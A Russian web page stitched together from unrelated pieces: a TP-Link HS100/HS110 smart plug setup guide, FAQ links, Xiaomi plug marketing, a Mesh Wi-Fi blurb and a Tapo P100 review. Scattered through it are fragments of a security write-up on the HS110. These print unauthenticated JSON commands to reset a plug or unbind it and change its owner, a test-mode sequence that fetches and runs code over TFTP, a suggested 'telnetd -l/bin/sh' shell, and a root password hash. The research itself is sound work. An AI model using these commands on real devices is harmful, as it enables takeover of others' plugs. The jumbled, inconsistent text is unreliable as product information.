Настройка умных розеток tp-link hs110 и hs100

Setup Video

  • Quick Tips: How to Link your Kasa Account to Google Assistant

    This video will show you how to how to link your Kasa Account to Google Assistant for voice control.

  • Quick Tips: How to Link your Kasa Account to Amazon Alexa

    This video will show you how to how to link your Kasa Account to Google Assistant for voice control.

  • This video will show you how to Setup the Smart Actions feature in the Kasa App.

  • This video will show you how to create a schedule for the device in the Kasa App.

  • This video will show you how to set your time zone in the Kasa App.

  • This video will show you how to create a group of devices in the Kasa App.

Разновидности и характеристики

Принцип действия розетки одинаковый, единственное чем отличаются модели – по конструкции. Производители предоставляют накладные и встраиваемые модели

Еще на этапе планирования дома важно определиться какая розетка будет использоваться

Накладная

Выглядит как переходник с одним разъемом. Конструкция предполагает наличие таких составляющих: индикатора, кнопки выключателя, модуля wi-fi, упаковано в пластиковый корпус.

Некоторые модели оснащены датчиками влажности, таймером, видеокамерой. Такая модель легко заменит уже существующие розетки и не требует дополнительных ремонтных работ.

Встраиваемая

Предназначены для скрытой установки, с монтажом во время ремонтных работ. Задача такого варианта – заменить обыкновенную электрическую точку. Корпус выполненный из термостойкого пластика защищает потребителя от выделения вредоносных галогенов. За счет жаропрочности в 748 градусов, производители гарантируют безопасность устройства.

Полезное видео

Компания TP-Link недавно представила новые устройства. Умные розетки TP-Link HS110 и HS100. Более подробно об этих розетках я рассажу в отдельной статье, а сегодня мы будем их устанавливать и настраивать. Если вы уже стали счастливым обладателем розеток HS100, или HS110, то эта инструкция может вам пригодится. А возможно, вам просто будет интересно посмотреть, что это за устройства, как они настраиваются и работают. Устройства новые и необычные. Я уже несколько дней тестирую эти розетки, и у меня есть что вам рассказать и показать.

Модели TP-Link HS100 и TP-Link HS110 практически одинаковые. Только старшая модель (HS110) умеет следить за расходом электроэнергии. Статистика потребления электроэнергии за все время и в режиме реального времени.

Сами устройства созданы для удаленного управления электроприборами. Включаем умную розетку в обычную розетку:), и уже к ней подключаем какой-то электроприбор: обогреватель, лампу, вентилятор, что угодно. И через приложение Kasa с телефона можно удаленно управлять этим электроприбором (включать и отключать его)
. Так же в программе можно навастривать таймер включения/отключения, и просматривать статистику по расходу электроэнергии (если у вас модель HS110)
.

Еще один важный момент: управлять умной розеткой можно не только когда вы находитесь у себя дома. Розетка подключена к вашему роутеру. А вы с телефона можете получать доступ к розетке с любого места. Главное, чтобы на телефоне был интернет.

FAQ

  • Как использовать виджеты для управления вашими устройствами Kasa и сценариями Kasa на устройствах c поддержкой iOS?
    02-20-201922856

  • What should I do if the smart plug or smart switch cannot turn on/off the appliance properly?
    12-17-20202152

  • Как подключить умную Wi-Fi розетку к домашней сети с помощью приложения Kasa?
    07-25-20171029875

  • Что такое TP-Link ID?
    05-23-2018448510

  • Common questions about Smart Actions
    10-19-202031401

  • Основные вопросы перед покупкой устройств TP-Link для умного дома
    05-17-2017126040

  • Как создать учётную запись облачного сервиса в мобильном приложении Kasa для удалённого управления умной розеткой?
    09-10-2020311743

  • Что делать, если я не получаю электронное письмо при регистрации облачного аккаунта или сбросе пароля?
    05-20-202041966

  • How to reset TP-Link Kasa smart switch and plug?
    07-03-2020107159

  • Как подключить устройство TP-Link Kasa к Amazon Alexa?
    06-08-20201976479

  • Подключение ваших устройств TP-Link Kasa к Google Assistant
    08-24-20181287567

  • Common questions about Schedule Away mode of smart home product?
    03-02-202012495

  • What should I do if I fail to configure the Kasa device?
    12-09-201972063

  • How to make Kasa smart devices controlled local only
    11-25-201927214

  • How to use the Grouping feature in Kasa app
    11-05-201926419

  • What should I do if schedule not working properly for Kasa smart devices
    10-30-201920392

  • Some frequently asked questions about TP-Link smart plug and smart switch
    10-18-2019288589

  • What should I do if my smart plug feels warm?
    10-10-20197477

  • Do TP-Link smart plug and switch support Single pole or Double pole?
    10-10-20196595

  • How do I move my Kasa device to a different wireless network?
    09-27-2019126137

  • Как отвязать облачный аккаунт от устройств в мобильном приложении?
    09-27-201946546

  • How to configure the Kasa device to work with SmartThings App?
    08-14-2019313273

  • How to setup schedule, away mode and timer of TP-Link Smart Plug/Switch in Kasa APP?
    07-30-2019213276

  • How to Use Siri to Control Your Kasa Smart Devices
    07-05-2019126813

  • Как выполнить настройку времени в приложении Kasa?
    06-05-201847829

  • How to make wireless password visible and continue the configuration of Smart Devices in Kasa App?
    05-27-201914782

  • Как создать сценарий в приложении KASA?
    07-02-201839017

  • Что делать, если я забыл пароль для облачной учетной записи TP-Link?
    12-17-201860468

  • Как узнать версию ПО вашего умного устройства в Kasa?
    06-05-201822852

  • Как обновить ПО устройств для умного дома (Smart Devices) с помощью мобильного приложения Kasa?
    02-01-201794044

  • How to use Sunrise & Sunset function
    05-13-201984090

  • Что делать, если время работы умного устройства не совпадает с режимом реального времени?
    12-17-201852890

  • Как управлять умными устройствами с помощью Amazon Echo, используя голосовые команды?
    12-17-2018103106

  • Frequently Asked Question About Energy Monitoring
    04-10-20199552

  • How to control Smart Devices by Google Home with voice commands
    02-26-2019103868

  • Как привязать Google Assistant к вашему аккаунту TP-Link Kasa (приложение для смартфона)?
    11-09-201815480

  • How to use Widgets to control your Kasa devices and Kasa scenes on Android devices?
    11-02-201814474

  • Универсальная схема настройки умных Wi-Fi розеток
    05-02-20175290

  • Принцип работы и управления умными Wi-Fi розетками
    12-26-20161494

Характеристики модели

HS100 — младший представитель серии, кроме нее, имеется модель HS110, единственное отличие которой — мониторинг энергопотребления. В остальном они полностью идентичны.

Умная розетка TP Link представляет собой включающееся в обычную домашнюю сеть устройство, позволяющее присоединять к себе одного потребителя электричества (или удлинитель на несколько, хотя это и не рекомендуется).

Основные характеристики:

  • тип гнезда и вилки — Shuko;
  • напряжение входа — 100–240 В;
  • напряжение выхода — 100–240 В;
  • максимально допустимая нагрузка — до 3.66 кВт;
  • сертификация — CE, EAC, RoHS;
  • беспроводная связь — Wi-Fi 802.11 b/g/n 2.4 ГГц;
  • размеры — 100.3×66.3×77 мм;
  • материал корпуса — белый пластик;
  • элементы управления — кнопка настроек и клавиша питания.

Настраиваем голосовое управление умной розеткой

Перед началом настройки, убедитесь, что на вашей умной розетке включён .

Для того, чтобы связать розетку от TP-Link с Google Ассистентом вам понадобиться приложение . Ниже по шагам расскажем как добавить голосовое управление через другого помощника – Alexa в умных колонках :

  1. Приложение Amazon Alexa пока не доступно в России. Мы рекомендуем настраивать через десктопную версию alexa.amazon.com . Есть и другие способы, но они менее удобны. Если у вас Android – вы можете воспользоваться статьёй . Если у вас iOS, то вам понадобиться учётная запись в американском App Store.
  2. В главном меню нажмите «Smart Home». В открывшейся вкладке нажмите «Smart Home Skills».
  3. Нажмите «Enable Skills».
  4. Введите «Kasa» в строке поиска. Затем нажмите на «TP-LINK Kasa».
  5. Нажмите Enable.
  6. Войдите в свою учетную запись Kasa и нажмите «Authorize».
  7. Закройте вкладку.
  8. Нажмите «Discover Devices» или используйте голосовую команду «Alexa, discover devices». Вы также можете добавить новое устройство на вкладке «Smart Home» в разделе «Devices» нажав «Discover».
  9. Дождитесь завершения обнаружения устройства.
  10. Поздравляем! Вы завершили процесс настройки. Все обнаруженные устройства можно контролировать с помощью умных колонок Amazon Echo со встроенным голосовым ассистентом Alexa. Попробуйте управлять розеткой с помощью голосовых команд. Например, если умная розетка tp-link называется «Smart Plug», чтобы включить её вы можем сказать «Alexa, turn on Smart Plug» и проверить, работает ли голосовое управление через Alexa.

Управляйте домашним комфортом независимо от расстояний

Дистанционное включение и выключение бытовой техники с помощью смартфона

При наличии интернет-соединения на смартфоне вы можете управлять домашними приборами из любого места, где бы вы ни находились. А в сочетании с роутером Xiaomi вам доступна возможность устанавливать те или иные сценарии использования умной розетки. Например, перед уходом с работы вы можете заранее дистанционно с помощью смартфона запустить мультиварку, включить свет в прихожей, очиститель воздуха или водонагреватель, чтобы, вернувшись домой после тяжелого трудового дня, сразу окунуться в атмосферу тепла и уюта.

Безопасность превыше всего

Мобильный мониторинг состояния подключенной техники
Дистанционное включение и выключение

Вам больше не придется, покидая дом, переживать о невыключенных электроприборах. С помощью приложения «Xiaomi Smart Home» вы можете в любое время проверять состояние подключенного прибора и управлять его электропитанием. Это не только позволит снизить энергопотребление и обеспечит безопасность, но и повысит уровень комфорта в вашей жизни.

Научный подход к потреблению энергии

Запланируйте работу вашей домашней техники

Функция таймера не только уменьшает потребление энергии, что положительно сказывается на окружающей среде, но и делает использование бытовых приборов еще удобнее, при этом продлевая срок их службы. Например, вы можете установить таймер для обогревателя, который будет автоматически выключаться после вашего ухода на работу и включаться за полчаса до возвращения домой, обеспечивая комфортную температуру при нахождении дома.

Компактный размер для одновременного использования
сразу нескольких розеток

Благодаря оптимизированному дизайну и улучшенной организации внутренних компонентов розетки ее размер позволяет одновременно подключать в сетевой фильтр сразу несколько умных розеток, что дает возможность управлять дистанционно еще больших количеством бытовых приборов.

Сложные производственные технологии

Корпус розетки выполнен из огнестойкого материала, способного выдерживать температуру до 750°С, и изготовлен при помощи технологии волновой пайки. Качество сборки умной розетки Xiaomi одобрено национальным стандартом качества CQC. Розетка имеет встроенный датчик температуры, который осуществляет мониторинг работы высокомощных приборов и контролирует внутреннюю температуру розетки, и при значительном повышении температуры отправляет соответствующее уведомление пользователю. При перегреве розетка автоматически приостановит подачу тока во избежание возгорания и поломки.

С помощью мобильного приложения «Xiaomi Smart Home» можно легко и просто управлять умной розеткой Xiaomi

WI-FI розетки являются частью «умного дома» и с каждым годом их активно устанавливают в современных домах, что объясняется практичностью и комфортом, который создает изделие.

Кому пригодится Mesh Wi-Fi?

Mesh Wi-Fi создан для тех, у кого дома слабое или неполное Wi-Fi покрытие, а также для тех, кому нужна несложная Wi-Fi система, которую легко настроить самому.

Поскольку у обычных роутеров зона вещания ограничена, зачастую они не могут полностью покрыть большие дома или дома с несколькими этажами. Если площадь дома составляет 280 кв. м, в нём два или более этажей, есть внутренние стены из кирпича или у него необычная планировка, тогда роутер с Mesh Wi-Fi не будет лишним.

Mesh Wi-Fi также отлично подойдёт для тех, кто заинтересован в мощной Wi-Fi системе, но не хочет возиться со сложной установкой и настройкой, требующимися для большинства обычных роутеров.

ИССЛЕДУЕМ TP-LINK SMART HOME PROTOCOL

Прослушав локальный Wi-Fi-трафик, авторы увидели, что мобильное приложение общается с HS110 через порт 999, используя данные, похожие на зашифрованные. После декомпиляции Android-приложения они нашли функцию шифрования:

Функция шифрования в мобильном приложении Kasa от TP-Link

Мы видим, что инициализирующий ключ (вектор) — это захардкоженное значение -85 (= 171). Первый байт открытого текста ксорится (XOR) с этим ключом. Затем ключ ставится в незашифрованный байт. В ходе очередной итерации следующий байт открытого текста ксорится с предыдущим байтом открытого текста. Дешифровка работает по тому же принципу.

Этот алгоритм известен как autokey cipher. Несмотря на то что его статические свойства лучше, чем в стандартном XOR-шифровании с помощью повторяющегося ключа, он все равно может быть легко взломан известными атаками.

Теперь, когда мы знаем алгоритм и ключ, мы можем сделать Wireshark-диссектор на Lua, который автоматически дешифрует TP-Link Smart Home пакеты на 9999-й порт. Сам протокол устройства использует JSON, так что можно добавить и диссектор для него. В итоге мы можем читать данные между Kasa-приложением и умной розеткой в Wi-Fi-сети.

Реализованный Wireshark-диссектор для протокола TP-Link Smart Home

Команды для умной розетки сгруппированы в следующие категории:
• system;
• netif (WLAN interface commands);
• cnCloud (соединение с облаком);
• time;
• emeter (измерение энергии);
• schedule (расписание вкл./выкл.);
• count_down (таймер вкл./выкл.);
• anti_theft (рандомное расписание вкл./выкл.).

Розетка с вай фай управлением: срок службы

Каждый производитель указывает гарантийный срок службы. Такие модели работают не меньше обычных розеток. При необходимости они легко демонтируются и устанавливаются новые. Китайские модели проработают до года, а вот европейские производители дают гарантию на три, а то и больше лет. В действительности реальный срок эксплуатации таких розеток значительно больше. Поэтому стоит выбрать модель чуть дороже, но качество материалов обещает долгий срок эксплуатации.

Wi-fi розетка – часть умного дома, которая создана для обеспечения максимального комфорта жильцов. Устройство является простым примером домашней автоматизации, которая последние годы становится попопулярнее. Задача розетки выполнить три возложенные функции – обеспечение безопасности в доме от несанкционированного загорания, обеспечение экономии электроэнергии и повышение условий комфорта.

Устройства представлены двумя моделями – накладными и встраиваемыми, которые подбираются с учётом нужд потребителя. Принцип действия простой, а установка не займет много времени. Потраченные средства оправдают себя и каждый будет в восторге от работы Wi-fi розетки.

АНАЛИЗ КОМАНД ПРОТОКОЛА TP-LINK SMART HOME

Авторы опубликовали полный список (txt) JSON-команд и Python-клиент для их отправки.

Системные команды:

Получить информацию о системе:

{"system":{"get_sysinfo":{}}}

Через написанный Python-клиент это будет так:

./tplink-smartplug.py –t 192.168.0.1 –c info

Или можно отправлять свои JSON-команды:

./tplink-smartplug.py –t 192.168.0.1
    –j '{"system":{"get_sysinfo":{}}}'

Результат выполнения команды get_sysinfo в TP-Link HS110 Wi-Fi

Чтобы включить или выключить, используется команда set_relay_state со значением 1 и 0 соответственно:

{"system":{"set_relay_state":{"state":1}}}

Перезагрузка через определенное время:

{"system":{"reboot":{"delay":1}}}

Сброс настроек до заводских и превращение в точку доступа:

{"system":{"reset":{"delay":1}}}

А если вспомнить, что у устройства нет аутентификации в сети, то получается, что любой пользователь Wi-Fi-сети может выполнить все указанные команды. Напомню про ссылку выше, по ней полный список команд ;-).

Из интересного стоит еще отметить команду установки прошивки. Загружается она с произвольного URL-адреса:

{"system":{"download_firmware":{"url":"http://..."}}}

Состояние загрузки можно получить через команду get_download_state:

{"system":{"get_download_state":{}}}

А для установки используется flash_firmware:

{"system":{"flash_firmware":{}}}

Просто так установить модифицированный образ не получится, поскольку он должен быть подписан одним из четырех захардкоженных RSA-ключей:

Захардкоженные RSA-ключи для прошивки TP-Link HS110 Wi-Fi

Wi-Fi-команды

Умную розетку можно еще использовать для сканирования ближайших точек доступа:

{"netif":{"get_scaninfo":{"refresh":1}}}

Эта команда вернет полный список.
Подключиться к нужной точке доступа с необходимыми параметрами:

{"netif":{"set_stainfo":{"ssid":"WiFi","password":"123",
    "key_type":3}}}

Напомню, что все JSON-команды можно выполнять вне зависимости от состояния устройства. То есть в обычное время подключение к нужной сети требуется только для несконфигурированного состояния — когда умная розетка в режиме точки доступа.

Облачные команды

Умная розетка постоянно пытается соединиться с сервером TP-Link по адресу devs.tplinkcloud.com:50443, используя TLS. Это поведение сохраняется, даже если в Kasa установлена настройка работать только локально. Но мы можем изменить адрес сервера на нужный нам следующей командой:

{"cnCloud":{"set_server_url":{"server":"devs.tplinkcloud.com"}}}

Только не забудь, что там должен быть действительный сертификат от Symantec EV Root CA.

Далее можно зарегистрировать устройство в облаке:

{"cnCloud":{"bind":{"username":alice@home.com, "password":"secret"}}}

И отвязать:

{"cnCloud":{"unbind":null}}

С помощью этих команд атакующий может отвязать устройство и изменить владельца. Еще он может перехватить регистрационные данные, отправляемые Kasa-приложением.

Ищем устройства TP-Link через Device Debug Protocol:

TP-Link Device Debug Protocol — запатентованный в Китае протокол TP-Link, в котором описывается, как устроены TDDP-пакеты. Этот протокол используется для пинга и поиска устройств TP-Link в сети посредством широковещательных сообщений, чтения и установки опций и выполнения специальных команд. Целостность TDDP поддерживается с помощью MD5, встроенного в заголовок каждого пакета:

структура TDDP пакета

Полезная нагрузка пакета также шифруется с помощью DES. Это означает, что любые читаемые или записанные настройки будут зашифрованы. DESключ устанавливается как половина (16 шестнадцатеричных чисел, или 8 байт) MD5-хеша от конкатенации имени пользователя и пароля устройства:

md5(username + password)

Так как HS110 не поддерживает какую-либо аутентификацию, то имя пользователя и пароль были захардкожены в shd-файл:

Захардкоженные имя пользователя и пароль устройства для создания DES-ключа

Для остальных устройств TP-Link можно проверить эти же данные или провести брутфорс-атаку по логину. С помощью одного UDP-пакета авторы смогли получить некоторую информацию об устройстве. Для воспроизведения нескольких интересных случаев было написано несколько скриптов («тестовая» строка, deviceID и hardwareID):

Пример TDDP запроса

Обзор характеристик и внешнего вида TP-Link Tapo P100

Об одной такой умной мини розетке с WiFi мы и поговорим в сегодняшнем обзоре. Это модель от TP-Link, Tapo P100.

Об основных технических характеристиках можно узнать уже из информации на упаковке.

  • Удаленное управление через мобильное приложение
  • Расписание работы
  • Таймер
  • Поддержка голосового ассистента Amazon Alexa или Google Assistant
  • Режим «вне дома»

Мы их рассмотрим более подробно ближе к концу статьи при детальном разборе мобильного приложения. QR для его загрузки указан здесь же на коробке.

Внутри находим только розетку Tapo P100 и краткую инструкцию. По большому счету, больше ничего и не нужно.

Само устройство представляет из себя довольно тяжелую квадратную коробочку. Вилка с толстыми штырями, так что можно предположить, что розетка рассчитана на приличную нагрузку для подключения к ней мощного бытового прибора.

На лицевой части логотип и световой индикатор состояния подключения розетки к wifi сети. Сбоку физическая кнопка включения.

ТЕСТОВЫЙ РЕЖИМ

После дальнейшего анализа авторы нашли скрытый тестовый режим. Его видно в параметрах командной строки shd-файла:

Параметры запуска shd

Этот параметр запускает функцию wlan_start_art, которая, в свою очередь, запускает Atheros Radio Test (ART) для тестирования производительности Wi-Fi-адаптеров Atheros.

Функция wlan_start_art выполняет следующие команды:

LD_LIBRARY_PATH=/tmp
arping –I br0 –c 1 192.168.0.100
tftp –g 192.168.0.100 –r ap_bin/ap121/art.ko
    –l /tmp/art.ko
insmod /tmp/art.ko
tftp –g 192.168.0.100 –r ap_bin/ap121/nart.out
    –l /tmp/nart.out
chmod +x /tmp/nart.out
/tmp/nart.out –instance 0 &

Эти команды соединяются с FTP-сервером, скачивают файл nart.out, делают его исполняемым и запускают. Для успешной эксплуатации достаточно сделать shell-скрипт с таким именем и расположить по нужному адресу. Достаточно даже будет запустить демон telnetd:

/bin/busybox telnetd –l/bin/sh &

Кстати, запуск этого режима возможно сделать удаленно. Для этого есть JSON-команда set_test_mode:

./tplink-smarthome.py -t 192.168.0.1
    -j '{"system":{"set_test_mode":{"enable":1}}}'

В память устройства будет установлен специальный флаг, который проверяется в процессе загрузки. Поэтому нужно перезагрузить устройство:

./tplink-smarthome.py -t 192.168.0.1 -c reboot

После этого устройство попытается соединиться с сетью hs_test и паролем 12345670.

Данные для «тестовой» сети

Для установки точки доступа hs_ test авторы использовали hostapd со следующим конфигурационным файлом hostapd.conf:

interface=wlan0
driver=nl80211
ssid=hs_test
wpa=2
wpa_passphrase=12345670
channel=1

Увы, но здесь разработчики подсуетились. Поведение в тестовом режиме не отличается от стандартного. Хотя в коде и есть обращение к wlan_start_art, но загрузки и исполнения скрипта не происходит. Возможно, эти строки были закомментированы.

ИССЛЕДУЕМ ПРОШИВКУ TP-LINK HS110

Следующим шагом авторы скачали официальную прошивку для устройства HS110(US)_V1_151016.zip и натравили на него binwalk для анализа содержимого.

Как видишь, прошивка содержит обычную Linux-систему, состоящую из трех частей:

• U-Boot Bootloader 1.1.4 (Oct 16 2015 — 11:22:22);
• Linux Kernel 2.6.31 — LSDK-9.2.0_U11.14 (yt@yangtao.localdomain);
• Squashfs filesystem.

В файловой системе авторы нашли следующие интересные файлы:
1. /bin/busybox v1.01 (2015.10.16 — 03:17+0000).
2. /etc/newroot2048.crt — этот сертификат используется для проверки облачного сервера. Файл содержит корневой сертификат VeriSign Class 3 Public Primary Certification Authority — G5. Это означает, что при установлении TLS-соединения в облако проверяется, подписан ли предоставленный сервером сертификат с помощью Symantec VeriSign CA for Extended Validation (EV) certificates (CA pinning). Атакующий может купить себе собственный EV-сертификат и использовать его для своего сервера, чтобы он «выглядел» как облако.

3. /etc/shadow — после дешифрования оказалось, что пароль media root:7KBNXuMnKTx6g:15502:0:99999:7:::

4. /usr/bin/shd — основное серверное приложение.
5. /usr/bin/shdTester — клиент для калибровки экрана энергии.
6. /usr/bin/calDump — дамп данных калибровки из /dev/caldata.

Вся проприетарная серверная логика находится в исполняемом файле shd (Smart Home Daemon), который является MIPS32 R2 Big Endian:

shd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0,
corrupted section header size

Также в нем содержится OpenSSL 1.0.1j 15 Oct 2014 для установки TLS-соединения с облачным сервером.

BUSYBOX

Предоставляемая версия BusyBox из прошивки подвержена уязвимости CVE2011-2716, инъекции команд в компоненте udhcpc (DHCP-клиенте). Она позволяет внедрять команды в одну из следующих DHCP-опций:• (12) Hostname;• (15) Domainname; • (40) NIS Domain; • (66) TFTP Server Name.

Проанализировав исполняемый файл, авторы нашли, что shd создает shellскрипт /tmp/udhcpc.script:

#!/bin/sh
if
then
    ifconfig $interface $ip netmask $subnet
    route del default
    route add default gw $router
    echo "nameserver $dns" > /tmp/resolv.conf
fi

а затем выполняется udhcpc:

/sbin/udhcpc –b –H "HS100(US)" –i br0 –s /tmp/udhcpc.script

К сожалению, здесь hostname захардкожена, а другие опции не используются. Так что уязвимость неэксплуатируема.

ВЫВОДЫ

Как видишь по этому небольшому райтапу, безопасность умных устройств пока еще находится в зачаточном состоянии. Никаких сложных техник защиты в массовых клиентских устройствах не применяется, да и простая аутентификация используется далеко не всегда. Конечно, со временем эта область прогрессирует, как это было с вебом, но пока у независимых исследователей есть отличная возможность прокачать скиллы на несложных кейсах, а заодно сделать мир вокруг себя чуточку безопаснее.

В рамках этого исследования был написан плагин для Wireshark (под проприетарный протокол) и несколько Python-скриптов для проведения атаки. Все это авторы опубликовали в своем GitHub-репозитории.Самих же авторов, можно найти здесь.

Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий